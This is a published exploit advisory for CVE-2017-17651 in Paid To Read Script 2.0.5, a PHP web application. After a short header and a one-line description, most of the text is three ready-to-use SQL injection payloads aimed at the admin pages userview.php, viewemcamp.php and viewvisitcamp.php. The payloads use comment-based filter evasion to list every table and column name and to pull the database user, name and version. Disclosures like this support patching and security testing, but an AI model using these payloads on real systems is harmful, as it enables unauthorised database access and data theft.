Paid To Read Script 2.0.5 - 'uid' / 'fnum' / 'fn' SQL Injection

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# Exploit Title: Paid To Read Script 2.0.5 - SQL Injection
# Dork: N/A
# Date: 13.12.2017
# Vendor Homepage: https://www.phpscriptsmall.com/
# Software Link: https://www.phpscriptsmall.com/product/paid-to-read-script/
# Version: 2.0.5
# Category: Webapps
# Tested on: WiN7_x64/KaLiLinuX_x64
# CVE: CVE-2017-17651
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# Exploit Author: Ihsan Sencan
# Author Web: http://ihsan.net
# Author Social: @ihsansencan
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# Description:
# The vulnerability allows an attacker to inject sql commands....
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# Proof of Concept: 
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# 1)
# http://localhost/[PATH]/admin/userview.php?uid=[SQL]
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# -9++/*!08888UNION*/(/*!08888SELECT*/(1)%2c(2)%2c(3)%2c(4)%2c(5)%2c(6)%2c(7)%2c(8)%2c(9)%2c(10)%2c(11)%2c(12)%2c(13)%2c(14)%2c(15)%2c(16)%2c(17)%2c(18)%2c(19)%2c(20)%2c(21)%2c(22)%2c(23)%2c(24)%2c(25)%2c(26)%2c(27)%2c(28)%2c(29)%2c(30)%2c(31)%2c(32)%2c(33)%2c(34)%2c(35)%2c(36)%2c(37)%2c(38)%2c(39)%2c(40)%2c(41)%2c(42)%2c(43)%2c(44)%2c(45)%2c(46)%2c(47)%2c(48)%2c(/*!08888Select*/+export_set(5%2c@:=0%2c(/*!08888select*/+count(*)/*!08888from*/(information_schema.columns)where@:=export_set(5%2cexport_set(5%2c@%2c/*!08888table_name*/%2c0x3c6c693e%2c2)%2c/*!08888column_name*/%2c0xa3a%2c2))%2c@%2c2))%2c(50)%2c(51)%2c(52)%2c(53)%2c(54)%2c(55)%2c(56)%2c(57)%2c(58)%2c(59)%2c(60)%2c(61)%2c(62)%2c(63)%2c(64)%2c(65)%2c(66)%2c(67)%2c(68))--+-
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# 2)
# http://localhost/[PATH]/admin/viewemcamp.php?fnum=[SQL]
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# -1++/*!08888UNION*/(/*!08888SELECT*/+0x253238253331253239%2cCONCAT_WS(0x203a20%2cUSER()%2cDATABASE()%2cVERSION())%2c0x253238253333253239%2c0x253238253334253239%2c0x253238253335253239%2c0x253238253336253239%2c0x253238253337253239%2c0x253238253338253239%2c0x253238253339253239%2c0x253238253331253330253239)--+-
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# 3)
# http://localhost/[PATH]/admin/viewvisitcamp.php?fn=[SQL]
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# -6++/*!50000UNION*/(/*!50000SELECT*/0x253238253331253239%2c0x253238253332253239%2c0x253238253333253239%2c0x253238253334253239%2cCONCAT_WS(0x203a20%2cUSER()%2cDATABASE()%2cVERSION())%2c0x253238253336253239%2c0x253238253337253239%2c0x253238253338253239%2c0x253238253339253239%2c0x253238253331253330253239%2c0x253238253331253331253239%2c0x253238253331253332253239%2c0x253238253331253333253239%2c0x253238253331253334253239)--+-
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